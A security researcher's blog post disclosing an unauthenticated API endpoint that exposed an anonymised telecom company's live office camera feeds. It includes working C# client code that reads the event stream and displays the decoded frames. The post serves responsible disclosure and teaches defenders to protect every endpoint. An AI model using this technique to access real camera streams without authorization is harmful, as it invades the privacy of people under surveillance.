Tapping into a telecommunications company’s office cameras

Eaton

I have a fun little API flaw worth talking about today. An unauthenticated API endpoint in a major telecommunications company’s office camera system allowed me to tap into the image stream and view the live camera feeds. The company in question is a multi-billion dollar telecommunications company and they explicitly requested anonymity if I were to publish any details regarding the exploit.

The Camera Platform

The company maintains a custom-built platform/website that certain employees use to manage the camera system. It lets them manage the cameras, download noteworthy “incident” videos, and view the live feeds. It is a React-based platform that interacts with a server using APIs. The website is publicly accessible, but all functionality is locked behind a corporate login page.

The Flaw

Being a React website, it was easy to uncover all the APIs. To protect the identity of the company, details of the actual website code will not be shown, but the website uses source maps which made it very easy to reverse engineer the site and find all the API endpoints. For the most part, the website was properly secured. Almost all API endpoints required a valid authentication token, and I couldn’t find any way around that. I say almost because there was one endpoint that was not secure: the live feeds. It was an event stream that endlessly provided data in a JSON format. You can open it in your browser and be served an infinite loading page:

I decided to make a quick desktop application to tap into this image stream:

//https://eaton-works.com/2023/11/14/telecom-camera-hack/
using ServiceStack.Text;
namespace CameraStreamApp;
public sealed partial class MainForm : Form
{
private readonly Dictionary<string, PictureBox> cameras = new();
public MainForm() => InitializeComponent();
private sealed class CameraUpdate
{
public string ip { get; set; }
public string image_name { get; set; }
public string raw_image { get; set; }
public string camera_no { get; set; }
}
private async void MainForm_Shown(object sender, EventArgs e)
{
var client = new HttpClient();
using (var streamReader = new StreamReader(await client.GetStreamAsync("https://a-telecom-company.com/api/events/incident-events")))
{
while (true)
{
//Each stream line contains a new live image.
var message = await streamReader.ReadLineAsync();
if (string.IsNullOrEmpty(message)) continue;
//Clean up the JSON a bit and then deserialize.
var cu = JsonSerializer.DeserializeFromString<CameraUpdate>(message[7..^1].Replace("\\\"", "\"").Replace("\\n", string.Empty));
if (cameras.TryGetValue(cu.camera_no, out var camera))
{
//An existing camera has been found. Update the picture box in the UI with the latest live image.
if (string.IsNullOrEmpty(cu.raw_image)) continue;
using (var ms = new MemoryStream(Convert.FromBase64String(cu.raw_image)))
{
camera.Image = Image.FromStream(ms);
}
}
else
{
//A new camera has been found. Add a picture box in the UI for it.
var pb = new PictureBox { Width = 400, Height = 300, Padding = new Padding(10), Dock = DockStyle.Top };
cameras.Add(cu.camera_no, pb);
CamerasPanel.Controls.Add(pb);
Text = $"A Telecom Company Video ({cameras.Count} Cameras)";
if (string.IsNullOrEmpty(cu.raw_image)) continue;
using (var ms = new MemoryStream(Convert.FromBase64String(cu.raw_image)))
{
pb.Image = Image.FromStream(ms);
}
}
}
}
}
}
view raw MainForm.cs hosted with ❤ by GitHub

Here is the end result. I took screenshots of the day and night stream:

The cameras were labeled “office”, but it looked more like a warehouse. I was unable to pinpoint exactly where these cameras are located. I also checked in on various days and while I never saw any people, I did notice various items change location, meaning people were definitely working in the area at some point.

Impact

This was a read-only vulnerability because you could only access the image stream and all other functions required valid authentication. The impact is therefore not critical in severity, but it was definitely an invasion of privacy that needed to be addressed.

Reporting Timeline

Lessons / Takeaways

The primary lesson to learn from this is: keep track of all your API endpoints and don’t miss any when configuring authentication. While the web page on which the live feed could be reviewed was protected behind a login, the underlying API was unprotected. Always assume your API endpoints are discoverable and protect accordingly!

Subscribe to new posts

Get an email notification every time something new is published.
📧